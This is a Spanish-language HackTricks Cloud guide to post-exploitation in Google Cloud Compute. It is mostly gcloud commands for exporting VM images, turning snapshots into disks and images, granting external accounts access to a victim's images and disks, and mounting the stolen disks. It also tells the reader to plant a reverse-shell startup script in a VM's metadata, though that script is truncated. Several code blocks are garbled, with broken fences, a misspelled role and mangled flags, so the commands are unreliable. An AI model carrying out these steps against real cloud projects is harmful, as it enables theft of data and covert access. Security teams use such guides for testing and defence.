GCP - Compute Post Exploitation
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Compute
Para más información sobre Compute y VPC (Networking) consulta:
Exportar e inspeccionar imágenes localmente
Esto permitiría a un atacante acceder a los datos contenidos dentro de imágenes ya existentes o crear nuevas imágenes de VMs en ejecución y acceder a sus datos sin tener acceso a la VM en ejecución.
Es posible exportar una imagen de VM a un bucket y luego descargarla y montarla localmente con el comando:
Exportar y descargar imagen de VM
```bash gcloud compute images export --destination-uri gs://Para realizar esta acción el atacante podría necesitar privilegios sobre el storage bucket y, con seguridad, privilegios sobre cloudbuild ya que es el servicio que se le va a pedir que realice la exportación
Además, para que esto funcione el codebuild SA y el compute SA necesitan permisos privilegiados.
El cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com necesita:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
Y el SA <project-id>-compute@developer.gserviceaccount.com necesita:
- oles/compute.storageAdmin
- roles/storage.objectAdmin
Exportar e inspeccionar Snapshots y Disks localmente
No es posible exportar directamente snapshots y discos, pero es posible transformar un snapshot en un disco, un disco en una imagen y siguiendo la sección anterior, exportar esa imagen para inspeccionarla localmente
Crear disco desde snapshot e imagen desde disco
```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]Create an image from a disk
gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]
</details>
### Inspeccionar una imagen creando una VM
Con el objetivo de acceder a los **datos almacenados en una imagen** o dentro de una **VM en ejecución** desde donde un atacante **ha creado una imagen,** es posible otorgar a una cuenta externa acceso sobre la imagen:
<details>
<summary>Otorgar acceso a la imagen y crear una VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
y luego crea una nueva VM a partir de ella:
Crear una VM instance a partir de image
```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```Si no puedes dar acceso a tu cuenta externa a la imagen, puedes lanzar una VM usando esa imagen en el proyecto de la víctima y hacer que los metadatos ejecuten un reverse shell para acceder a la imagen añadiendo el parámetro:
Create VM with reverse shell in metadata
```bash --metadata startup-script='#! /bin/bash echo "hello";Inspeccionar un Snapshot/Disk adjuntándolo a una VM
Con el objetivo de acceder a los datos almacenados en un disk o un snapshot, puedes transformar el snapshot en un disk, un disk en una image y seguir los pasos previos.
O bien puedes conceder a una cuenta externa acceso sobre el disk (si el punto de partida es un snapshot, concede acceso al snapshot o crea un disk a partir de él):
Conceder acceso al disk
```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```Adjuntar el disco a una instancia:
Adjuntar disco a la instancia
```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```Montar el disco dentro de la VM:
- SSH a la VM:
SSH a la VM y montar el disco
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Identificar el disco: Una vez dentro de la VM, identifica el nuevo disco listando los dispositivos de disco. Normalmente lo encontrarás como
/dev/sdb,/dev/sdc, etc. - Formatear y montar el disco (si es un disco nuevo o sin formato):
- Crear un punto de montaje:
Crear punto de montaje y montar
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Montar el disco:
Montar dispositivo de disco
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
Si no puedes dar acceso a un proyecto externo al snapshot o disco, es posible que necesites realizar estas acciones dentro de una instancia en el mismo proyecto que el snapshot/disco.
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

